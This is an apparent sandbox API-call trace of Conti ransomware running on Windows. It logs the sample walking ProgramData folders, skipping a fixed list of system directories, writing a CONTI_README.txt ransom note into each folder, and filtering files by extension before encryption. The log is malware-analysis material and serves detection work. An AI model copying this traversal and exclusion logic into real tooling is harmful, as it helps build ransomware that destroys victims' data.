	[0105.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bee68 | out: hHeap=0x1720000) returned 1
	[0105.471] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="MapData", cAlternateFileName="")) returned 1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2=".") returned 1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="..") returned 1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="tmp") returned -1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="winnt") returned -1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="Application Data") returned 1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="AppData") returned 1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="temp") returned -1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="thumb") returned -1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="$Recycle.Bin") returned 1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="$RECYCLE.BIN") returned 1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="System Volume Information") returned -1
	[0105.471] lstrcmpiW (lpString1="MapData", lpString2="Program Files") returned -1
	[0105.472] lstrcmpiW (lpString1="MapData", lpString2="Program Files (x86)") returned -1
	[0105.472] lstrcmpiW (lpString1="MapData", lpString2="Boot") returned 1
	[0105.472] lstrcmpiW (lpString1="MapData", lpString2="Windows") returned -1
	[0105.472] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.472] lstrlenW (lpString="MapData") returned 7
	[0105.472] GetProcessHeap () returned 0x1720000
	[0105.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x42) returned 0x173d198
	[0105.472] lstrcpyW (in: lpString1=0x173d198, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="MapData" | out: lpString1="C:\\ProgramData\\Microsoft\\MapData") returned="C:\\ProgramData\\Microsoft\\MapData"
	[0105.472] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MapData") returned 32
	[0105.472] GetProcessHeap () returned 0x1720000
	[0105.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x46) returned 0x173d1e8
	[0105.472] lstrcpyW (in: lpString1=0x173d1e8, lpString2="C:\\ProgramData\\Microsoft\\MapData" | out: lpString1="C:\\ProgramData\\Microsoft\\MapData") returned="C:\\ProgramData\\Microsoft\\MapData"
	[0105.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MapData", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\MapData\\*") returned="C:\\ProgramData\\Microsoft\\MapData\\*"
	[0105.472] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MapData") returned 32
	[0105.472] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.472] GetProcessHeap () returned 0x1720000
	[0105.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1741300
	[0105.472] lstrcpyW (in: lpString1=0x1741300, lpString2="C:\\ProgramData\\Microsoft\\MapData" | out: lpString1="C:\\ProgramData\\Microsoft\\MapData") returned="C:\\ProgramData\\Microsoft\\MapData"
	[0105.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MapData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\MapData\\") returned="C:\\ProgramData\\Microsoft\\MapData\\"
	[0105.472] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MapData\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\MapData\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\MapData\\CONTI_README.txt"
	[0105.472] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MapData\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\mapdata\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.473] GetProcessHeap () returned 0x1720000
	[0105.473] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741300 | out: hHeap=0x1720000) returned 1
	[0105.473] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.474] CloseHandle (hObject=0x30c) returned 1
	[0105.474] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MapData\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ff0
	[0105.474] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.474] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.474] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.474] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.474] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b56fe9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b56fe9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.474] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.474] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.474] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.474] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.474] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b56fe9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b56fe9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0105.474] GetProcessHeap () returned 0x1720000
	[0105.474] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d1e8 | out: hHeap=0x1720000) returned 1
	[0105.474] FindClose (in: hFindFile=0x17c7ff0 | out: hFindFile=0x17c7ff0) returned 1
	[0105.475] GetProcessHeap () returned 0x1720000
	[0105.475] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d198 | out: hHeap=0x1720000) returned 1
	[0105.475] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="MF", cAlternateFileName="")) returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2=".") returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="..") returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="tmp") returned -1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="winnt") returned -1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="Application Data") returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="AppData") returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="temp") returned -1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="thumb") returned -1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="$Recycle.Bin") returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="$RECYCLE.BIN") returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="System Volume Information") returned -1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="Program Files") returned -1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="Program Files (x86)") returned -1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="Boot") returned 1
	[0105.475] lstrcmpiW (lpString1="MF", lpString2="Windows") returned -1
	[0105.475] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.475] lstrlenW (lpString="MF") returned 2
	[0105.475] GetProcessHeap () returned 0x1720000
	[0105.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x38) returned 0x17c8470
	[0105.475] lstrcpyW (in: lpString1=0x17c8470, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0105.475] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MF") returned 27
	[0105.475] GetProcessHeap () returned 0x1720000
	[0105.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3c) returned 0x1734900
	[0105.475] lstrcpyW (in: lpString1=0x1734900, lpString2="C:\\ProgramData\\Microsoft\\MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0105.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\*") returned="C:\\ProgramData\\Microsoft\\MF\\*"
	[0105.475] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MF") returned 27
	[0105.475] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.475] GetProcessHeap () returned 0x1720000
	[0105.475] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c09f0
	[0105.475] lstrcpyW (in: lpString1=0x17c09f0, lpString2="C:\\ProgramData\\Microsoft\\MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0105.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\"
	[0105.475] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\MF\\CONTI_README.txt"
	[0105.476] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\mf\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.476] GetProcessHeap () returned 0x1720000
	[0105.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c09f0 | out: hHeap=0x1720000) returned 1
	[0105.476] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.477] CloseHandle (hObject=0x30c) returned 1
	[0105.477] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c84f0
	[0105.477] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0105.477] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0105.477] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0105.477] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0105.477] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Active.GRL", cAlternateFileName="")) returned 1
	[0105.477] lstrcmpiW (lpString1="Active.GRL", lpString2=".") returned 1
	[0105.477] lstrcmpiW (lpString1="Active.GRL", lpString2="..") returned 1
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch=".CONTI") returned 0x0
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch="CONTI_README.txt") returned 0x0
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch=".exe") returned 0x0
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch=".dll") returned 0x0
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch=".lnk") returned 0x0
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch=".sys") returned 0x0
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch=".CONTI") returned 0x0
	[0105.477] StrStrIW (lpFirst="Active.GRL", lpSrch="CONTI_README.txt") returned 0x0
	[0105.477] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MF") returned 27
	[0105.477] lstrlenW (lpString="Active.GRL") returned 10
	[0105.477] GetProcessHeap () returned 0x1720000
	[0105.477] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17bed08
	[0105.477] lstrcpyW (in: lpString1=0x17bed08, lpString2="C:\\ProgramData\\Microsoft\\MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0105.477] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\"
	[0105.477] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF\\", lpString2="Active.GRL" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL"
	[0105.478] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b56fe9, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x52b56fe9, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0105.478] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0105.478] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0105.478] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0105.478] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0105.478] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Pending.GRL", cAlternateFileName="")) returned 1
	[0105.478] lstrcmpiW (lpString1="Pending.GRL", lpString2=".") returned 1
	[0105.478] lstrcmpiW (lpString1="Pending.GRL", lpString2="..") returned 1
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch=".CONTI") returned 0x0
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch="CONTI_README.txt") returned 0x0
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch=".exe") returned 0x0
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch=".dll") returned 0x0
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch=".lnk") returned 0x0
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch=".sys") returned 0x0
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch=".CONTI") returned 0x0
	[0105.478] StrStrIW (lpFirst="Pending.GRL", lpSrch="CONTI_README.txt") returned 0x0
	[0105.478] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MF") returned 27
	[0105.478] lstrlenW (lpString="Pending.GRL") returned 11
	[0105.478] GetProcessHeap () returned 0x1720000
	[0105.478] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bed60
	[0105.478] lstrcpyW (in: lpString1=0x17bed60, lpString2="C:\\ProgramData\\Microsoft\\MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0105.478] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\"
	[0105.478] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF\\", lpString2="Pending.GRL" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL"
	[0105.478] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Pending.GRL", cAlternateFileName="")) returned 0
	[0105.478] GetProcessHeap () returned 0x1720000
	[0105.478] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734900 | out: hHeap=0x1720000) returned 1
	[0105.478] FindClose (in: hFindFile=0x17c84f0 | out: hFindFile=0x17c84f0) returned 1
	[0105.478] GetProcessHeap () returned 0x1720000
	[0105.478] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8470 | out: hHeap=0x1720000) returned 1
	[0105.478] FindNextFileW (in: hFindFile=0x17c83f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
	[0105.478] lstrcmpiW (lpString1="NetFramework", lpString2=".") returned 1
	[0105.478] lstrcmpiW (lpString1="NetFramework", lpString2="..") returned 1
	[0105.478] lstrcmpiW (lpString1="NetFramework", lpString2="tmp") returned -1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="winnt") returned -1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="Application Data") returned 1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="AppData") returned 1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="temp") returned -1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="thumb") returned -1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="$Recycle.Bin") returned 1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="$RECYCLE.BIN") returned 1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="System Volume Information") returned -1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="Program Files") returned -1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="Program Files (x86)") returned -1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="Boot") returned 1
	[0105.479] lstrcmpiW (lpString1="NetFramework", lpString2="Windows") returned -1
	[0105.479] lstrlenW (lpString="C:\\ProgramData\\Microsoft") returned 24
	[0105.479] lstrlenW (lpString="NetFramework") returned 12
	[0105.479] GetProcessHeap () returned 0x1720000
	[0105.479] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bec58
	[0105.479] lstrcpyW (in: lpString1=0x17bec58, lpString2="C:\\ProgramData\\Microsoft" | out: lpString1="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0105.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0105.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\", lpString2="NetFramework" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0105.479] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework") returned 37
	[0105.479] GetProcessHeap () returned 0x1720000
	[0105.479] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x50) returned 0x17bef18
	[0105.479] lstrcpyW (in: lpString1=0x17bef18, lpString2="C:\\ProgramData\\Microsoft\\NetFramework" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0105.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\*"
	[0105.479] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework") returned 37
	[0105.479] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0105.479] GetProcessHeap () returned 0x1720000
	[0105.479] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x17404d8
	[0105.479] lstrcpyW (in: lpString1=0x17404d8, lpString2="C:\\ProgramData\\Microsoft\\NetFramework" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0105.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\"
	[0105.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\NetFramework\\CONTI_README.txt"
	[0105.479] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\netframework\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0105.480] GetProcessHeap () returned 0x1720000
	[0105.480] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17404d8 | out: hHeap=0x1720000) returned 1
	[0105.480] WriteFile (in: hFile=0x30c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f3ac, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f3ac*=0xa2, lpOverlapped=0x0) returned 1
	[0105.481] CloseHandle (hObject=0x30c) returned 1
	[0105.481] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x52b56fe9, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c81b0
